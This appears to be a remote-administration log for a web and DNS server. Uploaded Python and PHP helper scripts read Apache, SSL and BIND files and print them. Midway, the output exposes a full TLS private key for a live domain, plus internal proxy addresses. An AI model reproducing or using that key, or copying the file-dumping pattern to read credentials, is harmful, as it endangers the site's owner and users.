         port 80 namevhost cdn3.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn3_org.conf:2)
         port 80 namevhost cygnus.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cygnus_org.conf:1)
         port 80 namevhost hymns.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_hymns_org.conf:1)
         port 80 namevhost mixer.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_mixer_org.conf:1)
         port 80 namevhost stoughton.hostz.org (/etc/apache2/sites-enabled/hostz_stoughton_us.conf:3)
*:443                  is a NameVirtualHost
         default server cdn3.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn3_org.conf:20)
         port 443 namevhost cdn3.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn3_org.conf:20)
         port 443 namevhost cygnus.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cygnus_org.conf:37)
         port 443 namevhost hymns.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_hymns_org.conf:22)
         port 443 namevhost mixer.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_mixer_org.conf:22)
         port 443 namevhost stoughton.hostz.org (/etc/apache2/sites-enabled/hostz_stoughton_us.conf:28)
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.


2026-01-03 19:16:10: 

PUT: /tmp/pkp634298

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/hopeinstoughton_mixer_org.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-01-03 19:16:11: 

chmod 755 /tmp/pkp634298; /tmp/pkp634298; rm /tmp/pkp634298

2026-01-03 19:16:11: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/hopeinstoughton_mixer_org.conf	2161
<VirtualHost *:80>
    ServerName	mixer.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hopeinstoughton_mixer
    <Directory /var/www/hopeinstoughton_mixer>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/mixer_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/mixer_error.log
    SetEnv pkp_uid	28
    SetEnv pkp_owner	stoughton
    DirectoryIndex	index.html index.htm index.py
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	mixer.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/490fd86317cc9a7ba4710967bbbfc2a7
    DocumentRoot	/var/www/hopeinstoughton_mixer
    <Directory /var/www/hopeinstoughton_mixer>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/mixer_secure_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/mixer_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    DirectoryIndex	index.html index.htm index.py
    
    RewriteCond	%{DOCUMENT_ROOT}%{REQUEST_URI} !-d
    RewriteCond	%{DOCUMENT_ROOT}%{REQUEST_URI} -f
    RewriteRule	^(.*) %{REQUEST_URI} [L]
    
    # if the cookie is missing, redirect to login site, with bounce parameter
    RewriteCond	%{HTTP_COOKIE} !\bauth=\b
    RewriteRule	^(.*)$ https://cygnus.hopeinstoughton.org/~/cygnus/login-mixer$1 [R=302,QSA,L]
    
    ProxyRequests	off
    ProxyVia	on
    
    RewriteEngine	On
    RewriteCond	%{HTTP:Connection} Upgrade [NC]
    RewriteCond	%{HTTP:Upgrade} websocket [NC]
    RewriteRule	/(.*) ws://192.168.1.8:80/$1 [P,L]
    
    ProxyPass	/ http://192.168.1.8/
    ProxyPassReverse	/ http://192.168.1.8/
    
</VirtualHost>







2026-01-03 19:16:11: 

PUT: /tmp/pkp647701

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/490fd86317cc9a7ba4710967bbbfc2a7')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-01-03 19:16:11: 

chmod 755 /tmp/pkp647701; /tmp/pkp647701; rm /tmp/pkp647701

2026-01-03 19:16:12: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/490fd86317cc9a7ba4710967bbbfc2a7	5385
2d:92:88:b8:29:5e:5d:63:b7:7f:22:dd:ea:a6:60:82

-----BEGIN CERTIFICATE-----
MIIFFTCCA/2gAwIBAgISBd1euzTYylMZmceTfWXIoZAGMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjYwMTAzMTgxNzMzWhcNMjYwNDAzMTgxNzMyWjAkMSIwIAYDVQQD
ExltaXhlci5ob3BlaW5zdG91Z2h0b24ub3JnMIIBIjANBgkqhkiG9w0BAQEFAAOC
AQ8AMIIBCgKCAQEA0QGJ4vB1p1htS8fli/EDWkuty5vDUp0GUFXgp1keF9uiKtLm
FI+tq77bgvG5Hel3qKd4AFa6rbgY7VpA58PGW24OOJfnrfnmnCMAks1V7/DE+rdX
gIA69Es1NjpY9ftqkx68YUBVui6/VI1G4BUtS7YMKRgKAqF9XzI/WC3NdEGKRV/5
3EQ+LvszNnODWfnfZBMkk8EFk8pVUtXqFSxupsOvGXPVPWIhuw8XYinET+1bI07k
gNybv0wEJcuIzaPhVrx9Z9ALIWO+Js7AT4n8SwtmYZXI1kr/0e7dG4M9OsycyY77
+YpmMncOwtg1FBns+SUpcTGtC4dCASNzjCulXwIDAQABo4ICMDCCAiwwDgYDVR0P
AQH/BAQDAgWgMB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjAMBgNVHRMB
Af8EAjAAMB0GA1UdDgQWBBTZANOCUZWxg1DVmEpcaqv4ajgS4zAfBgNVHSMEGDAW
gBTnq58PLDOgU9NeT3jIsoQOO9aSMzAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUH
MAKGF2h0dHA6Ly9yMTMuaS5sZW5jci5vcmcvMCQGA1UdEQQdMBuCGW1peGVyLmhv
cGVpbnN0b3VnaHRvbi5vcmcwEwYDVR0gBAwwCjAIBgZngQwBAgEwLQYDVR0fBCYw
JDAioCCgHoYcaHR0cDovL3IxMy5jLmxlbmNyLm9yZy83LmNybDCCAQwGCisGAQQB
1nkCBAIEgf0EgfoA+AB2AA5XlLzzrqk+MxssmQez95Dfm8I9cTIl3SGpJaxhxU4h
AAABm4VJxocAAAQDAEcwRQIgNNFTsr3qiwr0hoRTPjXkkTm5Eh1f62278dyqO6UC
LYcCIQCJ7iRFD5K06/C1PzLd2PzACTPmPdeq8KPkg+CM62AvkgB+AKXJeJJdV0YX
gocN2IlmC1xVZIt9AEDy7AdoUdGIaRn3AAABm4VJyHcACAAABQAtvxNRBAMARzBF
AiADrRhTmi+TvhT+wCWdhQceDWMYL+E6cWeQ35pQRktM5wIhAL45eDvPf/cD6USU
PLKLhnNQBmBorQoc2X4/ILkcWS+vMA0GCSqGSIb3DQEBCwUAA4IBAQBtoujgKe+D
k/vYRzalaXMTRisqiSNx5p/s7OUJLpVIQudsRlSZCg/ihg4JnkDrNko/1xM5ZN/K
wUnIpBTkEbfr2iJ6vpe5zcXAKa4uMdTF7stSq/oB0Iq3cGH44wPh50rk2s0lZVFG
B/6nPtYbIXbf886x5RQQ6b2WQ6YTZSiSYHjALtvQBJuAyGl5BKMrpcCU7zSJlcer
0Hny6nB98cKQCfhU7s/5P5qDm3oqs1LIuojIUInCIQS2P84lJCbgcRAE0mPVgzgB
WwnCqbFqJrB8uv9A5VaEkNIqofepocOuUaEudEm649zYRHVRidGEwSNO9UOzQ4RJ
RRQ9yjtqgjJj
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvAIBADANBgkqhkiG9w0BAQEFAASCBKYwggSiAgEAAoIBAQDRAYni8HWnWG1L
x+WL8QNaS63Lm8NSnQZQVeCnWR4X26Iq0uYUj62rvtuC8bkd6Xeop3gAVrqtuBjt
WkDnw8Zbbg44l+et+eacIwCSzVXv8MT6t1eAgDr0SzU2Olj1+2qTHrxhQFW6Lr9U
jUbgFS1LtgwpGAoCoX1fMj9YLc10QYpFX/ncRD4u+zM2c4NZ+d9kEySTwQWTylVS
1eoVLG6mw68Zc9U9YiG7DxdiKcRP7VsjTuSA3Ju/TAQly4jNo+FWvH1n0AshY74m
zsBPifxLC2ZhlcjWSv/R7t0bgz06zJzJjvv5imYydw7C2DUUGez5JSlxMa0Lh0IB
I3OMK6VfAgMBAAECggEADknSTl8X+//HQQtXvbBqr+1FOAqHA4p+mFa2oVot/NLk
DD9swUfCnLTTNul64/jxAuj9WDCVrzNLE6GRlwaYSenaiQiW1cWkJqpx60H5t7SN
vYIei5y4lbjf2Lw2bA1AZPG7Tn63yEmn2jTqUn7AIPvqFZPHeL883e7by8BzL5j9
HlYRI+ZhW78VhuEFmZw4GoPOlBjlvxqe9n2rNFISps8N7AQObxvQ3dzXh9u36RDI
DiYuyRwzX2f8uMH8Rx5Va5DfSFdIUKpO1Oeh04CDosreBH6UEa0Rv5vkyivSuv35
BF36sE8TcKdUpILx4S3FVNnoK9AI8u6YCwYynfQtCQKBgQDxK8VWOYTbQAYHCH0b
l/+Q9Be6J0AdO38ebbpkG5JUrD0ev5lL1ftBMWGTsnCaOirYrYifmalF4RoazEcP
RIMkuSMD8UUMBqQy7RnhfkCe1cyFfPE21r0UHFPvA1QMSSoQHUVFLdj7v8ksAGfF
12dOyOR+UvsTvvKvcbjuqw9u3QKBgQDd23b5/jwf05AiyrgxLFxy41S8sJrIAR4N
VGpfe7Wzda0XNo/x9UgjUCfm4Iskl85K1H8nhGO+CPih3WQc+/XowFx1hwEypYCW
ONKsjAPga9O8RALfuvYKhoY9/VUPh0KEnbfCgvzyxu8Goe6OH3tV8uQkBTGfUdM8
ZeGxTjMbawKBgBCIrK29ocMaP4+J4HHc2NOKOHo1qKqYYp2mbingzgZqDIKoJg1R
7TjJ9uOWTyvzou5Z70zpzvYQeaaurIx6aPdCjgj+KHqrleQ75xNTgYCiLbRVHYBh
9nKDgqmXM9LnzS9vokkc3Ixd2J/gozyoCNgY47lZXQc8hwzKIiCSr6stAoGAQLcc
/I1xomMHP27czdM/4G95r1TgwYi56G+AW/vtI70m0Yej85N2CH8ANLO5QuJZVbCo
qrFOmwdo52Z6Jo5EzDEYh1vrOIfYe3l10slA9Dzf1aINKJAT5zwYeoqkPlRZTe/n
w4CMIpFu9gNUX/bE9mxUqkEtmWi38n1RmXPTKqMCgYBMENR1bxuq2kwj5xm9Qns0
NyzAPpwM0Ah9+XPWGo03Quiwu/oeWb0wgjEJG9nY+L6AVZXRGuRf1JT+M1AmQNyw
6aOrcdnB91ib6RVOMOsU/bCwKPV1iOesFP3tzwOm0tIF0/N6DguTQCWcLRPGzdHM
FijmP4EuguhO/PrfwxMZQQ==
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			





2026-01-03 19:19:09: Establishing a connection
2026-01-03 19:19:37: Establishing a connection
2026-01-03 19:19:38: 

PUT: /tmp/pkp469512

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-01-03 19:19:38: 

runuser -l bind -s /bin/bash -c '/tmp/pkp469512; rm /tmp/pkp469512'

2026-01-03 19:19:38: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= da5950cd780a6130ceaaf046681acc0d
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
